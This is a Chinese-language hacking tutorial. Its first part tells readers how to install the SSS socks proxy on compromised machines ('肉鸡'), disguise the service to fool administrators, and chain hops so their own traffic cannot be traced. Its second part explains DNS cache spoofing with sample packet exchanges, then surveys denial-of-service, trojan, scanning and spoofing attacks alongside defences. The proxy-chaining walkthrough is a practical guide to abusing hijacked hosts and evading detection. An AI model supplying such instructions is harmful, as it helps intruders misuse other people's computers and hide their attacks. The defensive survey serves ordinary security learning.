1/ 普通的Sock代理程序不支持多跳板之间的连续跳,而SSS却可支持最多达255个跳板之间的连跳运动
2/ 普通的Sock代理程序之间的数据传输是不加密的,而SSS支持的跳板之间传输的数据是经过动态加密的,也就是说每次传输过程中,数据加密的方式都不相同。就算你不幸在..的过程中被webmaster发现,普通的sock代理程序将会被webmaster用sniffer把你的信息一览无遗,而恰巧你用的是SSS的话,呵呵~他将会看到一堆乱码
3/普通的sock代理程序在设置上比较烦琐,而SSS只用两步就全都ok了。(具体步骤将在下面说明) 普通的sock代理程序要不然只支持Tcp或Udp的连接,很少有二者兼顾的,而SSS却全部支持
下面是一个大哥写的教程我觉得不错,就COPY一下了
找A机上传SSS文件,(怎么找我想你应该有个肉鸡吧)如果权限足够的话,应该可以完成SSS的安装和启动。所示:
SSS命令参数的说明:
-install 在NT机上安装SSS
-remove 移除SSS.
-debug 呵呵~snake进行debug用的,对于咱们老百姓来言无用。
sksockserver –install 安装sksockserver。
net start skserver 启动skserver服务。:(注意:这可是在A机上运行的,可不是你自己的爱机)
Ok啦~A机跳板完成,下面进行B机跳板的安装:
打开终端服务客户端连上找到的B菜机。
用B菜机的IE直接下载SSS~~呵呵~如图2:(IP地址隐去啦~大家自己找菜机吧)
在B菜机上配置sockservercfg(因为是用vc编写的sockservercfg,所以必须有mfc的库文件,如果出现“无法定位序数XXXX于动态连接库mfc42.dll”的话,大家可以在自己的机子上找找,最终上传到B菜机的路径:X:\winnt\system32)
SSS的配置界面一:在名称处可以填上任意的程序说明,以方便糊弄网管。要注意三处画红圈处,分别为:程序在开机时自动启动(我第一次用的时候还以为是给SSS自动分配端口~哎~Snake!So lazy!~)、安装服务、启动服务。
SSS的配置界面二:是对client端进行限制的配置(呵呵~大家讲点义气,就别做限制啦)
SSS的配置界面三:重要的地方哟!在IP处填入刚才做好的A菜机的Ip地址;激活bActive处(哎~什么叫bActive呀~就不会多作一个取消的?Snake!!!Too too lazy!);之后点Add.
最后提醒一句别忘了点确定哟
ok啦~大功告成!再向大家推荐最后一个好东东-SocksCap(你可以在这找到:http://www.youngzsoft.com/cn/sockscap/)。在自己的机子上装好SocksCap后,设定用Sock5代理的IP地址(就是A菜机的地址),在SocksCap下运行程序,例如:telnet,ftp,ntshell,IE。。。。。所有可以上网的程序,呵呵~这样的你就从网络彻底消失啦~~
总结:
  这篇文章只讲了两个跳板,同理,只要再设置 C,D,E.....(只要你不嫌麻烦)上的配置,就连跳了n个跳板啦;在设置A机的时候其实最好也用3389登陆设置,这样的话可以自己设定SSS的端口。
 
 
    30天打造专业红客 『第18天』几个DNS问题和网络***与防范
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.(什么叫BIND?BIND是一款由ISC维护的Internet域名名字系统实现。)
1>.DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.
下面我们来看一个例子:
一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:
123.45.67.89 -> 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,所以它会向38.222.74.2发出PTR查询:
98.76.54.32 -> 38.222.74.2 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.我们可以更改它的DNS记录,让它返回我们所需要的结果:
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
当98.76.54.32的DNS服务器收到这个应答后,会把结果转发给123.45.67.98,就是那台有rlogin服务的unix主机(也是我们的目标 :) ),并且98.76.54.32这台DNS服务器会把这次的查询结果缓存起来.
这时unix主机就认为IP地址为38.222.74.2的主机名为trusted.host.com,然后unix主机查询本地的/etc/hosts.equiv文件,看这台主机是否被允许使用rlogin服务,很显然,我们的欺骗达到了.
在unix的环境中,有另外一种技术来防止这种欺骗的发生,就是查询PTR记录后,也查询PTR返回的主机名的A记录,然后比较两个IP地址是否相同:
123.45.67.89 -> 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: trusted.host.com A
很不幸,在98.76.54.32的DNS服务器不会去查询这个记录,而会直接返回在查询2.74.222.38.in-addr.arpa时得到的并且存在缓存中的信息:
98.76.54.32 -> 123.45.67.89 [Query]
NQY: 1 NAN: 1 NNS: 2 NAD: 2
QY: trusted.host.com A
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
那么现在unix主机就认为38.222.74.2就是真正的trusted.host.com了,我们的目的达到了!
这种IP欺骗的条件是:你必须有一台Internet上的授权的DNS服务器,并且你能控制这台服务器,至少要能修改这台服务器的DNS记录,我们的欺骗才能进行.
2>.拒绝服务*** Denial of service
还是上面的例子,如果我们更改位于38.222.74.2的记录,然后对位于98.76.54.32的DNS服务器发出2.74.222.38.in-addr.arpa的查询,并使得查询结果如下:
因为74.222.38.in-addr.arpa完全由我们控制,所以我们能很方便的修改这些信息来实现我们的目的.
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN:www.company.com A 0.0.0.1
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
这样一来,使用98.76.54.32这台DNS服务器的用户就不能访问www.company.com了,因为这个IP根本就不存在!
3>.偷取服务 Theft of services
还是上面的例子,只是更改的查询结果如下:
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 3 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN:www.company.com CNAMEwww.competitor.com
AN: company.com MX 0 mail.competitor.com
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
这样一来,一个本想访问http://www.competitor.com的用户会被带到另外一个地方,甚至是敌对的公司的竹叶(想想把华为和北电联起来是什么样的感觉. :) ).并且发给company.com的邮件会被发送给mail.compertitor.com.(越来越觉得在网络上的日子不踏实! xxbin这样想).
4>.限制
对这些***,也有一定的限制.
首先,***者不能替换缓存中已经存在的记录.比如说,如果在98.76.54.32这个DNS服务器上已经有一条www.company.com的CNAME记录,那么***者试图替换为www.competitor.com将不会成功.然而,一些记录可以累加,比如A记录,如果在DNS的缓存中已经存在一条www.company.com的A记录为1.2.3.4,而***者却欺骗DNS服务器说www.company.com的A记录为4.3.2.1,那么www.company.com将会有两个A记录,客户端查询时会随机返回其中一个.(呵呵,这不是loading balance么?)
其次,DNS服务器有个缓存刷新时间问题,如果www.netbuddy.org的TTL为7200,那么DNS服务器仅仅会把www.netbuddy.org的信息缓存7200秒或者说两个小时.如果***者放入一条TLL为604800的A记录,那么这条记录将会在缓存中保存一周时间,过了默认的两天后,这个DNS服务器就会到处"分发"***者假造的记录.
下面是常用的几种可以累加和不能累加的记录:
A can add
NS can add
MX can add
PTR cannot add
CNAME cannot add
再说说网络***的几种形式吧,说这个不是叫大家去***别人而是作为一种了解而已
1、服务拒绝***
服务拒绝***企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务,服务拒绝***是最容易实施的***行为,主要包括:
死亡之ping (ping of death)
概览:由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。
防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些***,包括:从windows98之后的windows,NT(service
pack 3之后),linux、Solaris、和Mac OS都具有抵抗一般ping of
death***的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类***。
泪滴(teardrop)
概览:泪滴***利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的***。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括service
pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
防御:服务器应用最新的服务包,或者在设置防火墙时对分段进行重组,而不是转发它们。
UDP洪水(UDP flood)
概览:各种各样的假冒***利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,如果足够多的数据流就会导致带宽的服务***。
防御:关掉不必要的TCP/IP服务,或者对防火墙进行配置阻断来自Internet的请求这些服务的UDP请求。
SYN洪水(SYN flood) 现在最流行的DDOS***的一种
概览:一些TCP/IP栈的实现只能等待从有限数量的计算机发来的ACK消息,因为他们只有有限的内存缓冲区用于创建连接,如果这一缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接停止响应,直到缓冲区里的连接企图超时。在一些创建连接不受限制的实现里,SYN洪水具有类似的影响。
防御:在防火墙上过滤来自同一主机的后续连接。
未来的SYN洪水令人担忧,由于释放洪水的并不寻求响应,所以无法从一个简单高容量的传输中鉴别出来。
Land***
概览:在Land***中,一个特别打造的SYN包它的原地址和目标地址都被设置成某一个服务器地址,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时掉,对Land***反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续五分钟)。
防御:打最新的补丁,或者在防火墙进行配置,将那些在外部接口上入站的含有内部源地址滤掉。(包括
10域、127域、192.168域、172.16到172.31域)
Smurf***
概览:一个简单的smurf***通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比ping
of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。
防御:为了防止***利用你的网络***他人,关闭外部路由器或防火墙的广播地址特性。为防止被***,在防火墙上设置规则,丢弃掉ICMP包。
Fraggle***
概览:Fraggle***对Smurf***作了简单的修改,使用的是UDP应答消息而非ICMP
防御:在防火墙上过滤掉UDP应答消息
电子邮件×××
概览:电子邮件×××是最古老的匿名***之一,通过设置一台机器不断的大量的向同一地址发送电子邮件,***者能够耗尽接受者网络的带宽。
防御:对邮件地址进行配置,自动删除来自同一主机的过量或重复的消息。
畸形消息***
概览:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进行适当正确的错误校验,在收到畸形的信息可能会崩溃。
防御:打最新的服务补丁。
2、利用型***
利用型***是一类试图直接对你的机器进行控制的***,最常见的有三种:
口令猜测
概览:一旦***识别了一台主机而且发现了基于NetBIOS、Telnet或NFS这样的服务的可利用的用户帐号,成功的口令猜测能提供对机器的控制。
防御:要选用难以猜测的口令,比如词和标点符号的组合。确保像NFS、NetBIOS和Telnet这样可利用的服务不暴露在公共范围。如果该服务支持锁定策略,就进行锁定。
特洛伊***
概览:特洛伊***是一种或是直接由一个***,或是通过一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限,安装此程序的人就可以直接远程控制目标系统。最有效的一种叫做后门程序,恶意程序包括:NetBus、BackOrifice和BO2k,用于控制系统的良性程序如:netcat、VNC、pcAnywhere。理想的后门程序透明运行。
防御:避免下载可疑程序并拒绝执行,运用网络扫描软件定期监视内部主机上的监听TCP服务。
缓冲区溢出
概览:由于在很多的服务程序中大意的程序员使用象strcpy(),strcat()类似的不进行有效位检查的函数,最终可能导致恶意用户编写一小段利用程序来进一步打开安全豁口然后将该代码缀在缓冲区有效载荷末尾,这样当发生缓冲区溢出时,返回指针指向恶意代码,这样系统的控制权就会被夺取。
防御:利用SafeLib、tripwire这样的程序保护系统,或者浏览最新的安全公告不断更新操作系统。
3、信息收集型***
信息收集型***并不对目标本身造成危害,如名所示这类***被用来为进一步***提供有用的信息。主要包括:扫描技术、体系结构刺探、利用信息服务
扫描技术
地址扫描
概览:运用ping这样的程序探测目标地址,对此作出响应的表示其存在。
防御:在防火墙上过滤掉ICMP应答消息。
端口扫描
概览:通常使用一些软件,向大范围的主机连接一系列的TCP端口,扫描软件报告它成功的建立了连接的主机所开的端口。
防御:许多防火墙能检测到是否被扫描,并自动阻断扫描企图。
反响映射
概览:***向主机发送虚假消息,然后根据返回“host
unreachable”这一消息特征判断出哪些主机是存在的。目前由于正常的扫描活动容易被防火墙侦测到,***转而使用不会触发防火墙规则的常见消息类型,这些类型包括:RESET消息、SYN-ACK消息、DNS响应包。
防御:NAT和非路由代理服务器能够自动抵御此类***,也可以在防火墙上过滤“host unreachable”ICMP应答。
慢速扫描
概览:由于一般扫描侦测器的实现是通过监视某个时间桢里一台特定主机发起的连接的数目(例如每秒10次)来决定是否在被扫描,这样***可以通过使用扫描速度慢一些的扫描软件进行扫描。
防御:通过引诱服务来对慢速扫描进行侦测。
体系结构探测
概览:***使用具有已知响应类型的数据库的自动工具,对来自目标主机的、对坏数据包传送所作出的响应进行检查。由于每种操作系统都有其独特的响应方法(例NT和Solaris的TCP/IP堆栈具体实现有所不同),通过将此独特的响应与数据库中的已知响应进行对比,***经常能够确定出目标主机所运行的操作系统。
防御:去掉或修改各种Banner,包括操作系统和各种应用服务的,阻断用于识别的端口扰乱对方的***计划。
利用信息服务
DNS域转换
概览:DNS协议不对转换或信息性的更新进行身份认证,这使得该协议被人以一些不同的方式加以利用。如果你维护着一台公共的DNS服务器,***只需实施一次域转换操作就能得到你所有主机的名称以及内部IP地址。
防御:在防火墙处过滤掉域转换请求。
Finger服务
概览:***使用finger命令来刺探一台finger服务器以获取关于该系统的用户的信息。
防御:关闭finger服务并记录尝试连接该服务的对方IP地址,或者在防火墙上进行过滤。
LDAP服务
概览:***使用LDAP协议窥探网络内部的系统和它们的用户的信息。
防御:对于刺探内部网络的LDAP进行阻断并记录,如果在公共机器上提供LDAP服务,那么应把LDAP服务器放入DMZ。
4、假消息***
用于***目标配置不正确的消息,主要包括:DNS高速缓存污染、伪造电子邮件。
DNS高速缓存污染
概览:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得***可以将不正确的信息掺进来并把用户引向***自己的主机。
防御:在防火墙上过滤入站的DNS更新,外部DNS服务器不应能更改你的内部服务器对内部机器的认识。
伪造电子邮件
概览:由于SMTP并不对邮件的发送者的身份进行鉴定,因此***可以对你的内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附带上可安装的特洛伊***程序,或者是一个引向恶意网站的连接。
防御:使用PGP等安全工具并安装电子邮件证书。
此外有篇文章,在这值得所有人看看:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=699